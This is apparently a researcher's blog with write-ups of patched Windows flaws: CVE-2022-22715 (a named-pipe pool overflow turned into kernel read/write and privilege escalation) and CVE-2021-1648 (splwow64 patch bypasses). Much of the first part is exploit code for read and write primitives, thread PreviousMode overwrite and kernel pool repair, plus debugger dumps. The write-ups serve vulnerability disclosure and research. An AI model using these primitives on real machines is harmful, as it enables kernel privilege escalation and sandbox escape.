 ffffb0880d69e780 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e7a0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e7c0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e7e0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e800 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e820 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e840 size:   20 previous size:    0  (Free)       MPCt
 ffffb0880d69e860 size:   20 previous size:    0  (Free)       MPCt
 ffffb0880d69e880 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e8a0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e8c0 size:   20 previous size:    0  (Free)       MPCt
 ffffb0880d69e8e0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080

3.PNG

Then after invoking RtlUnicodeStringPrintf function, it will out of bound write about 0xfffe memory size content, this corrupt the LFH pool space and VS pool space. And the corrupt data is named pipe name that we could control, we need calculate the malicious payload for modifing the _WNF_STAT_DATA->DataSize.

When we create _WNF_STATE_DATA, we can't set DataSize larger than _WNF_STATE_DATA data region, but after triggerring vulnerability, we could modify it to any value, the maxium value of DataSize is 0x1000, we could gain a limited out of bound r/w primitive to modify the _TOKEN object in next page.

0: kd> dq ffffb0880d6a28d0 l4
ffffb088`0d6a28d0  00001000`00001000 00001000`00001000
ffffb088`0d6a28e0  00001000`00001000 00001000`00001000

4.PNG

Stage 3: Gain arbitrary address r/w

In stage 2, we make a pool feng shui, and gain a limited r/w primitive with _WNF_STATE_DATA object, but there is a huge problem. How I find which object handle I need to use?

If I corrupt the object and use it by handle, the corrupted object header data will crash the system. And now, I need to find out a useful manager object(_WNF_STAT_DATA) name and worker object(_TOKEN) handle.

I thought of a solution. For manager object, when we try to read data from _WNF_STATE_DATA data region, we call NtQueryWnfStateData with a specified length, if the length is larger than DataSize, it will return nt error code 0xc0000023. For worker object, when we create a _TOKEN object, there is a unique LUID in _TOKEN object, and it could be queried by NtQueryInformationToken with TokenStatics TokenInformationClass, it named TokenId, we could query them when we spray _TOKEN Object and store it in an array.

Because _WNF_NAME_INSTANCES will not be corrupted, we can use NtUpdateWnfStateData and NtQueryWnfStateData normally.

I have already corrupt some _WNF_STATE_DATA objects in stage 2, and modify DataSize to 0x1000, we could use NtQueryWnfStateData with 0x1000 length parameter to find out the corrupted _WNF_STATE_DATA object, and read out of bound data to find the last corrupted page, the normal page adjacent to corrupted page.

Reading out of bound data will not corrupt the object structure, so we can use NtQueryWnfStateData with 0x1000 length parameter, if _WNF_STATE_DATA object isn't corrupted, it will return 0xC0000023, and if it is, it will return the out of bound data.

If the out of bound data is the malicious data, I can make sure the _WNF_STATA_DATA is not in the last corrupted page, I use this way to find out the last corrupted page so I can read the next normal page with _TOKEN object structure. The _WNF_STATE_DATA object in the last corrupted page is our manager object.

There is a LUID field in _TOKEN object, we gain it from out of bound read data, and match this LUID in array we created before, so that we finally find the worker object.

0: kd> dq 0xffffb0880d6ae000 // ===>  the last corrupted page
ffffb088`0d6ae000  00010001`00010001 00010001`00010001
ffffb088`0d6ae010  00010001`00010001 00010001`00010001
ffffb088`0d6ae020  00010001`00010001 00010001`00010001
ffffb088`0d6ae030  00010001`00010001 00010001`00010001
0: kd> dq 0xffffb0880d6af000 // ===> the first normal page
ffffb088`0d6af000  656b6f54`03880000 00000000`00000000
ffffb088`0d6af010  000007b8`00001000 00000000`00000108
ffffb088`0d6af020  ffffc10b`775e8b80 00000000`00000000
ffffb088`0d6af030  00000000`00008000 00000000`00000001
ffffb088`0d6af040  00000000`00000000 00000000`0008006d

5.PNG

So far, I get the manager object name and worker object handle, then I construct a 0x1000 fake data include fake _TOKEN Object structure and a _WNF_STATE_DATA structure. I have already got the normal _TOKEN object structure content by invoking NtQueryWnfStateData before, I just need to change some value to gain arbitrary r/w primitive.

Read Primitive:

    FakeSepCached = malloc(0x48);
    ZeroMemory(FakeSepCached, 0x48);
    *(USHORT*)((ULONG_PTR)FakeSepCached + 0x2A) = 0x8;
    *(UINT64*)((ULONG_PTR)FakeSepCached + 0x30) = ReadAddress;

    CorruptionData = malloc(OriginalSize);
    ZeroMemory(CorruptionData, OriginalSize);
    CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);

    *(PUINT64)((UINT64)CorruptionData + TokenOffset + 0x480) = (UINT64)FakeSepCached;
    *(PUINT64)((UINT64)CorruptionData + TokenOffset - 0x30) = (UINT64)3;

    Status = fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL); // ===> control manager object
    if (Status < 0) {
        free(CorruptionData);
        free(FakeSepCached);
        return FALSE;
    }
  // ===>  arbitrary read
    Status = fNtQueryInformationToken(
        TokenHandle,
        TokenBnoIsolation,
        &RecvBuffer,
        RecvBufferSize,
        &RecvBufferSize);

Write Primitive:

  CorruptionData = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OriginalSize);
    CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);

    *(PUINT64)(CorruptionData + TokenOffset - 0x30) = 2;
    *(PUINT64)(CorruptionData + TokenOffset + 0x8c) = 0x10000;

    *(PUINT64)(CorruptionData + TokenOffset + 0xa8) = (UINT64)pETHREAD + 0x1f0;
    *(PUINT64)(CorruptionData + TokenOffset + 0xb0) = (UINT64)pETHREAD + 0x1e8;
    *(PUINT64)(CorruptionData + TokenOffset + 0xb8) = (UINT64)0;
    fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL);// ===> control manager object

    pACL = (PACL)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x48);
    pACL->AclRevision = 2;
    pACL->AceCount = 1;
    pACL->AclSize = 0x48;

    pACE = (PACE_HEADER)(pACL + 1);
    pACE->AceSize = 0x48 - sizeof(ACL);
    pACE->AceType = 50;
    *(PUINT64)((ULONG_PTR)pACL + 0x18) = (UINT64)pQueueListEntryFlink;
    *(PUINT64)((ULONG_PTR)pACL + 0x20) = (UINT64)pQueueListEntryBlink;
    *(PUINT64)((ULONG_PTR)pACL + 0x28) = (UINT64)pNextProcessor;
    *(PUINT64)((ULONG_PTR)pACL + 0x30) = (UINT64)pProcess;
    *(PUINT64)((ULONG_PTR)pACL + 0x38) = 0x3;
    *(PUINT64)((ULONG_PTR)pACL + 0x40) = 0x0100000008000000;
  // ===>  arbitrary write
    Status = fNtSetInformationToken(
        TokenHandle,
        TokenDefaultDacl,
        &pACL,
        8);

Stage 4: Elevation of privilege and Fix up

We gain arbitrary address r/w primitive, at first, I just want to replace the process TOKEN to system, it succeed, but after while, I find it's easy to crash. For example, I corrupt some _TOKEN objects, if I open processexplorer, it will travesal user space handle table for every process, it will cause crash when processexplorer access the exploite process handle table.

I need to fix up after exploit, so I decide not replace the process TOKEN, and just modify the _ETHREAD->PreviousMode, if I set previous mode to 0, I inovke NT API such as NtReadVirtualMemory and NtWriteVirtualMemory, kernel will think the thread is running in kernel mode. This is a common technology to elevate privilege, it's convenient to me for elevating of privilege and fixing instead of construct fake object every time.

Finally I use worker object to set _ETHREAD->PreviousMode to 0, and then use NtReadVirtualMemory/NtWriteVirtuaMemory to do elevation of privilege and fix up.

There are some thing we need to do when fixing.

1.Corrupted _Token Object.

I trigger corrupted object crash and realize that it crash because I corrupt the ObjectType in ObjectHeader, so when the nt reference the object, it will crash the system. And I can get the cookie in nt data section and calculate the objecttype in object header. I fix every corrupted _TOKEN object header.

    UINT64 pObjHeaderCookie = ntaddr + OBJHEADERCOOKIE;
    BYTE cookie;
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pObjHeaderCookie, (UINT64)&cookie, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
    BYTE addrbyte = (pPoolAddress >> 8) & 0xff;
    BYTE offset = cookie ^ addrbyte ^ TokenTypeIndex;
    BYTE bModifiedType;
    for (UINT i = typeindex; i <= modifiedindex; i++) {
        bModifiedType = offset ^ cookie ^ (((pPoolAddress - i * 0x1000) >> 8) & 0xff);
        X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x88), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
        X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x48), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
    }

2.Corrupted VS pool structure.

This is the most complicate problem I meet, I do not only corrupt the object structure, but also corrupt the VS pool structure, this will cause BSoD unexpected. I do some reversing in VS allocation deeply and find there is a RBTree to manage VS pool, if I know a VS pool address, I can calculate the VS pool manager address.

When a new VS pool allocate or a old free, it will travesal the RBTree from the VS pool manager, and if I corrupt the VS pool address which means when VS pool manager travesal from the root node and access the corrupted node, it will crash.

So I need to find the crash node from the RBTree root node, and delete it from RBTree, this may cause some memory leak if there are some other VS pools under the corrupted node, but it's better than crash the system.

6.PNG

I calculate the root VS pool, travesal the RBTree and delete the node from the RBTree.

  UINT64 zeroSet = 0x0;
    UINT64 ntaddr = KernelSymbolInfo();
    UINT64 pGlobalHeapAddr = ntaddr + GLOBALOFFSET;
    UINT64 pGlobalHeapValue;
    UINT64 pPoolChunkAddr = pPoolAddress & 0xfffffffffff00000;
    UINT64 pPoolChunkValue;
    X64Call(pReadVirtualMemory, 5 , (UINT64)GetCurrentProcess(), (UINT64)pGlobalHeapAddr, (UINT64)&pGlobalHeapValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pPoolChunkAddr + 0x10, (UINT64)&pPoolChunkValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
    UINT64 pHpMgrAddr = ((UINT64)pGlobalHeapValue ^ (UINT64)pPoolChunkAddr ^ (UINT64)pPoolChunkValue ^ 0xA2E64EADA2E64EAD) - 0x100 + 0x290; // ======> calculate the VS pool manager address
    UINT64 pRootChunkAddr;
    UINT64 pRightChunk;
    UINT64 pLeftChunk;
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pHpMgrAddr, (UINT64)&pRootChunkAddr, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte); // ====> get the root VS pool address
    UINT64 pTargetChunk = pPoolAddress & 0xffffffffffff0000;
    UINT64 pFinalChunk = NULL;
    UINT64 pTempLeftChunk = pLeftChunk, pTempRightChunk = pRightChunk;
    UINT64 pTempRootChunk;
    pRootChunkAddr = pLeftChunk; // ====> traversal from left chunk
    while (pLeftChunk != 0 && pRightChunk != 0) {
        X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
        X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
        if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
            break;
        }
        pTempRootChunk = pRootChunkAddr;
        if (pLeftChunk > pRootChunkAddr) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            pRootChunkAddr = pRightChunk;
            continue;
        }
        else if (pRootChunkAddr > pRightChunk) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            pRootChunkAddr = pLeftChunk;
            continue;
        }
        if (pTargetChunk < pRootChunkAddr) {
            pRootChunkAddr = pLeftChunk;
            continue;
        }
        if (pTargetChunk > pRootChunkAddr) {
            pRootChunkAddr = pRightChunk;
            continue;
        }
    }

    pRootChunkAddr = pTempRightChunk; // ====> traversal from right chunk
    while (pLeftChunk != 0 && pRightChunk != 0) {
        X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
        X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
        if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
            break;
        }
        pTempRootChunk = pRootChunkAddr;
        if (pLeftChunk > pRootChunkAddr) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            pRootChunkAddr = pRightChunk;
            continue;
        }
        else if (pRootChunkAddr > pRightChunk) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            pRootChunkAddr = pLeftChunk;
            continue;
        }
        if (pTargetChunk < pRootChunkAddr) {
            pRootChunkAddr = pLeftChunk;
            continue;
        }
        if (pTargetChunk > pRootChunkAddr) {
            pRootChunkAddr = pRightChunk;
            continue;
        }
    }

After all fix, it's time to pop cmd. Because Adobe Reader render process in a Job, I can't create process from it, so I inject shellcode to browser process and write a file in volume C: to complete exploit.

bbb.PNG

Patch

Microsoft patched the vulnerability in February 2022, npfs uses int type to calculate the total size and check if the total size larger than maximum ushort value.

NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *a1, void *a2, _DWORD *a3)
{
[...]
  if ( v13 )
      {
        if ( TokenInformation )
        {
          v20 = DestinationString.Length + v37.Length;
          v21 = v20 + 120;
          v22 = v20 + 122;
        }
        else
        {
          v21 = v37.Length + 96;
          v22 = v37.Length + 98;
        }
      }
      else
      {
        v21 = DestinationString.Length + 112;
        v22 = DestinationString.Length + 114;
      }
      if ( !v18 )
        v22 = v21;
      v23 = v19 + v22;
      if ( v23 <= 0xFFFE )
      {
        v28.MaximumLength = v23;
        Pool2 = (WCHAR *)ExAllocatePool2(256i64, (unsigned __int16)v23, 1850110030i64);
[...]
}

Demonstrate how I use WNF API with a accessible SD

BOOLEAN AllocateWnfObject(DWORD dwWantedSize, PWNF_STATE_NAME pStateName) {
    NTSTATUS Status;
    HANDLE gProcessToken;
    WNF_TYPE_ID TypeID = { 0 };
    PSECURITY_DESCRIPTOR SecurityDescriptor;
    ULONG RetLength = 0;
    BOOL DaclPresent, SaclPresent;
    BOOL DaclDefault, SaclDefault, OwnerDefault, GroupDefault;
    PACL pDacl, pSacl;
    PSID pOwner, pGroup;
    ACE_HEADER* AceHeader;
    ACCESS_ALLOWED_ACE* pACE;
    PSECURITY_DESCRIPTOR GetSD;
    
    Status = fNtOpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &gProcessToken);
    if (Status < 0) {
        return FALSE;
    }
    
    SecurityDescriptor = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000); // initialize a new SD

    GetSD = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);

    Status = fNtQuerySecurityObject(
        gProcessToken,
        OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
        GetSD,
        0x1000,
        &RetLength); // Query a accessible SD from process token

    if (Status < 0)
    {
        return FALSE;
    }

    // Get Owner/Group/DACL/SACL from accessible security object
    GetSecurityDescriptorOwner(GetSD, &pOwner, &OwnerDefault);
    GetSecurityDescriptorGroup(GetSD, &pGroup, &GroupDefault);
    GetSecurityDescriptorDacl(GetSD, &DaclPresent, &pDacl, &DaclDefault);
    GetSecurityDescriptorSacl(GetSD, &SaclPresent, &pSacl, &SaclDefault);

    AceHeader = (ACE_HEADER*)&pDacl[1];
    while ((DWORD)AceHeader < (DWORD)pDacl + (DWORD)pDacl->AclSize)
    {
        if (AceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)
        {
            pACE = (ACCESS_ALLOWED_ACE*)&AceHeader[0];
            pACE->Mask = GENERIC_ALL;
        }
        AceHeader = (ACE_HEADER*)((DWORD)AceHeader + (DWORD)AceHeader->AceSize);
    }

   // Set it to new SD
    InitializeSecurityDescriptor(SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION);
    SetSecurityDescriptorOwner(SecurityDescriptor, pOwner, OwnerDefault);
    SetSecurityDescriptorGroup(SecurityDescriptor, pGroup, GroupDefault);
    SetSecurityDescriptorDacl(SecurityDescriptor, DaclPresent, pDacl, DaclDefault);
    SetSecurityDescriptorSacl(SecurityDescriptor, SaclPresent, pSacl, SaclDefault);

    HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, GetSD);

    Status = fNtCreateWnfStateName(
        pStateName,
        WnfTemporaryStateName,      
        WnfDataScopeSession,    
        FALSE,
        &TypeID,
        0x1000,
        SecurityDescriptor);  // invoke WNF API with new SD

    if (Status < 0)
    {
        return FALSE;
    }

    PVOID lpBuff = (PVOID)malloc(dwWantedSize - 0x20);
    memset(lpBuff, 0x00, dwWantedSize - 0x20);

    Status = fNtUpdateWnfStateData(
        pStateName,
        lpBuff,
        dwWantedSize - 0x20,
        &TypeID,
        NULL,
        0,
        0);

    if (Status < 0)
    {
        return FALSE;
    }
    free(lpBuff);
    return TRUE;
}

Reference

Security Update Guide - Microsoft Security Response Center

CVE-2022-22715 PoC

Time line

2021-10-17 Reported vulnerability to Microsoft via TianfuCup 2021
2022-02-08 Microsoft released patch, assigned CVE-2022-22715
2022-08-23 Blogpost is publiced in partnership with Adobe Product Security Incident Response Team

The Story Of CVE-2021-1648

13 January 2021 at 02:29

Author: k0shl of 360 Vulcan Team

Summary

In January 2021 patch tuesday, MSRC patched a vulnerability in splwow64 service, assigned to CVE-2021-1648(also known as CVE-2020-17008), which merged my two interesting cases which bypass the patch of CVE-2020-0986, one of them also be found by Google Project Zero((https://bugs.chromium.org/p/project-zero/issues/detail?id=2096).actually this include one EoP and two info leak cases.

This vulnerability was planned to patch in October 2020, but MSRC seems found some other serious security problems in service, so they postpone the patch for four months.

Background

In this blog, I don't want to talk more about the mechanism of splwow64, there are a lot of analysis of CVE-2020-0986 before, so let's focus on the vulnerability.

After CVE-2020-0986 had been patched, I make a quick bindiff on splwow64 and gdi32full, and found there are two check added after patch.

One is that Microsoft added two printer handle(or aka cookie?) check functions named "FindDriverForCookie" and "FindPrinterHandle", it will check printer driver handle which store in a global variable.

__int64 __fastcall FindDriverForCookie(__int64 a1)
{
  v3 = qword_1800EABA0;
  if ( qword_1800EABA0 )
  {
    do
    {
      if ( a1 == *(_QWORD *)(v3 + 56) ) //check driver index
        break;
      v3 = *(_QWORD *)(v3 + 8);
    }
    while ( v3 );
    if ( v3 )
      ++*(_DWORD *)(v3 + 44);
  }
  RtlLeaveCriticalSection(&semUMPD);
  return v3;// return driver heap
}

__int64 *__fastcall FindPrinterHandle(__int64 a1, int a2, int a3)
{

  for ( i = *(__int64 **)(v3 + 64); i && (*((_DWORD *)i + 2) != v5 || *((_DWORD *)i + 3) != v4); i = (__int64 *)*i ) //check printer handle
    ;

}

Another is that MSRC added two pointer check functions "UMPDStringPointerFromOffset" and "UMPDPointerFromOffset" to check if pointer is validate.

FindDriverForCookie and FindPrinterHandle bypass

First, I don't know the purpose that Microsoft add FindDriverForCookie and FindPrinterHandle, maybe it's not for mitigation? After quick review, I found there is a command named 0x6A that can set printer handle which the value we can controll in global variable of service to bypass this two check functions.

__int64 __fastcall bAddPrinterHandle(__int64 a1, int a2, int a3, __int64 a4)
{
  v9 = RtlAllocateHeap(*(_QWORD *)(__readgsqword(0x60u) + 48), 0i64, 24i64);
  v10 = (_QWORD *)v9;
  if ( v9 )
  {
    *(_DWORD *)(v9 + 8) = v6;
    *(_DWORD *)(v9 + 12) = v5;
    *(_QWORD *)(v9 + 16) = v8;
    RtlEnterCriticalSection(&semUMPD);
    *v10 = *(_QWORD *)(v4 + 0x40);
    v7 = 1;
    *(_QWORD *)(v4 + 0x40) = v10; //add print handle which can be controlled by user
    RtlLeaveCriticalSection(&semUMPD);
  }
  return v7;
}

By invoking command 0x6A, function bAddPrinterHandle will add print handle to driver heap which stored in global variable |qword_1800EABA0|.

//set print handle to 0xdeadbeef00006666
0:007> p
gdi32full!bAddPrinterHandle+0x54:
00007ff8`380fc3bc 44897808        mov     dword ptr [rax+8],r15d ds:00000000`0108a428=00000000
0:007> p
gdi32full!bAddPrinterHandle+0x58:
00007ff8`380fc3c0 4489700c        mov     dword ptr [rax+0Ch],r14d ds:00000000`0108a42c=00000000
0:007> r r14d
r14d=deadbeef
0:007> r r15d
r15d=6666

//driver heap stored in global variable
0:007> dq gdi32full+0xEABA0 l1
00007ff8`381baba0  00000000`0108d000
0:007> dq 108d000+0x40 l1
00000000`0108d040  00000000`0108a420
0:007> dq 108a420+0x8 l1
00000000`0108a428  deadbeef`00006666

So we can easy bypass printer handle check during invoking Command 0x6D, and hit the vulnerability code.

  case 0x6Du:
      v31 = FindDriverForCookie(*(_QWORD *)(v6 + 24));
      v32 = v31;
      if ( !v31 )
        goto LABEL_137;
      v33 = FindPrinterHandle(v31, *(_DWORD *)(v6 + 32), *(_DWORD *)(v6 + 36));
      ...
      [vulnerability code]

CVE-2021-1648: arbitrary address read

Let's talk about information disclosure, CVE-2020-1648 includes a arbitrary address read information disclosure.

 if ( v51 != -1 )
 {
    v57 = **(unsigned __int16 ***)(v6 + 0x50); //not check v57
    if ( v57 )
    {
       v58 = v57[34];
       v59 = v58 + v57[35];
       if ( (unsigned int)v59 >= v58 && (unsigned int)v59 <= 0x1FFFE )
         memcpy_0(*(void **)(v6 + 88), v57, v59); //arbitrary address read
    }
  }

The code of case Command 0x6D is too long, so I won't post all of them in my blog. In short, it will check destination address of memcpy if it's in "validate" range, the range of |v6+0x58|, but source address |v57| isn't checked, so we can read arbitrary address.

0:007> r
rax=0000000000868a00 rbx=000000000001fffe rcx=0000000000000000
rdx=4141414141414141 rsi=0000000000150200 rdi=00000000008688d0
rip=00007ff9fc008403 rsp=000000000210f480 rbp=000000000210f4f9
r8=100297f000000002  r9=000000000022f000 r10=00000fff3c9c801d
r11=000000000210f350 r12=0000000000868920 r13=0000000000868910
r14=0000000000000001 r15=0000000000461c50
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
gdi32full!GdiPrinterThunk+0x1a73:
00007ff9fc008403 0fb74a44  movzx ecx,word ptr [rdx+44h] ds:4141414141414185=????

Stack trace:

0:007> k
Child-SP          RetAddr           Call Site
000000000210f480 00007ff7558e78ab gdi32full!GdiPrinterThunk+0x1a73
000000000210f560 00007ff7558e84de splwow64+0x78ab
000000000210f650 00007ff7558e9f28 splwow64+0x84de
000000000210f6b0 00007ff9fe3f2e93 splwow64+0x9f28
000000000210f6e0 00007ff9fe3f45b4 ntdll!RtlDeleteCriticalSection+0x363
000000000210f730 00007ff9fc487bd4 ntdll!RtlInitializeResource+0xce4
000000000210faf0 00007ff9fe42ce51 KERNEL32!BaseThreadInitThunk+0x14
000000000210fb20 0000000000000000 ntdll!RtlUserThreadStart+0x21

Another two cases of CVE-2021-1648

Another two cases I reported to MSRC is about bypassing offset check functions "UMPDStringPointerFromOffset" and "UMPDPointerFromOffset", I think MSRC made a mistake in these two functions range check.

Splwow64 is a specail service which is compatible with x86 in x86-64 Windows OS, so it always allocate heap which is 32bits, but in CVE-2020-0986 patch, "UMPDStringPointerFromOffset" and "UMPDPointerFromOffset" only check if offset and |portview+offset| is less than 0x7fffffff.

signed __int64 __fastcall UMPDPointerFromOffset(unsigned __int64 *a1, __int64 a2, unsigned int a3)
{
   [...]
    if ( v3 <= 0x7FFFFFFF && v3 + a3 <= 0x7FFFFFFF )
    {
      *a1 = v3 + a2;
      return 1i64;
    }
  [...]
}

signed __int64 __fastcall UMPDStringPointerFromOffset(unsigned __int64 *a1, __int64 a2)
{
  [...]
  if ( v3 > 0x7FFFFFFF )
    goto LABEL_12;
  v4 = (0x7FFFFFFF - v3) >> 1;
  *a1 = v3 + a2;
  v5 = (unsigned int)v4;
  if ( v3 + a2 )
    v2 = wcsnlen((const wchar_t *)(v3 + a2), (unsigned int)v4);
  [...]
  return result;
}

But in splwow64 service, so many heaps even stack is allocated in low address, like this:

0:004> pc
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff6`846d7c71 e826490000      call    splwow64!operator new[] (00007ff6`846dc59c)
0:004> p
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff6`846d7c76 488bf0          mov     rsi,rax
0:004> r rax
rax=00000000007d7c70
0:004> r rsp
rsp=000000000217f400

So it is possible to exploit through occupy to some important heaps or stack in splwow64 service, I suggest MSRC in my report to check range of pointer if it's in portview section instead of 0x7fffffff.

two cases crash dump:

0:006> r
rax=0000000000000000 rbx=00000000012f8360 rcx=000000001363d9e0
rdx=00000000012f8360 rsi=0000000002d60200 rdi=000000001363d9d8
rip=00007fff728956d2 rsp=0000000002cdf230 rbp=0000000000000001
r8=0000000000000028  r9=0000000012345678 r10=000000007fffffff
r11=2222222222222222 r12=00007fff57ea8fe0 r13=0000000001208210
r14=000000000120aa50 r15=00007fff72860000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
gdi32full!UMPDStringPointerFromOffset+0x12:
00007fff728956d2 4c8b09          mov     r9,qword ptr [rcx] ds:000000001363d9e0=????????????????


0:006> r
rax=0000000000000001 rbx=0000000001628360 rcx=0000000042a3c4a1
rdx=0000000001628360 rsi=0000000000ff0200 rdi=0000000000000000
rip=00007fff7289568a rsp=0000000002ecf3d8 rbp=0000000000000001
r8=0000000000000028  r9=0000000041414141 r10=000000007fffffff
r11=2222222222222222 r12=00007fff57ea8fe0 r13=0000000001407160
r14=000000000140a000 r15=00007fff72860000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
gdi32full!UMPDPointerFromOffset+0xa:
00007fff7289568a 4c8b09          mov     r9,qword ptr [rcx] ds:0000000042a3c4a1=????????????????

The end of story

It seems Microsoft redsigned splwow64 printer service, so they postponed the patch for four months, it's really a long time for me to wait a patch since I started my researching on Windows. Hope new printer service will be more secure:P.

777.PNG

Timeline

2020-07-27 Reported to MSRC.
2020-08-19 MSRC decided to put off patch.
2020-08-22 Bounty awarded
2021-01-13 Patch release

StorSvc writeup and introduction about my analysis script

27 July 2020 at 06:39

Author: k0shl of Qihoo 360 Vulcan Team


Today, I'd like to share two of my favorite logical escalation of priviledge vulnerabilities which I reported in 2019 -- CVE-2019-0983 and CVE-2019-0998 and a simple introduction about my RPC static analysis script, I public these two PoCs and my script in my github. All of them were found by reversing, actually, I don't know how to trigger it by normal user interactive and monite it with monitor such as procmon. I will share more detail about how I found it in this paper.

So let's begin our journey.


StorSvc overview

StorSvc is windows storage service which provide service for storage setttings and extern extension storage. There were two interesting vulnerabilities about Storage Service in history, CVE-2018-0983 which reported by James Forshaw, and a blog(SandboxEscaper deleted that paper) from SandboxEscaper. So I decided to look into this service.

According to James Forshaw and SandboxEscaper founding, they both focused on a RPC interface storsvc!SvcMoveFileInheritSecurity, and after patched, Microsoft seemed patched this logical vulnerability with "a simple way".

After Patch

signed __int64 SvcMoveFileInheritSecurity()
{
  return 0x80004001;
}

But this was not the only RPC interface in this service, after I reversed StorSvc.dll, I found two interesting points.


StorSvc volume structure

Before I introduce about my CVEs, I'd like to talk about a interesting structure during reversing.

Almost every RPC interface reference this structure and check it.

such as:

          v6 = 0x450 * v5;
          v7 = *(_DWORD *)(0x450 * v5 + g_StorageService[v3 + 5] + 564);
          if ( !(v7 & 1)
            ....
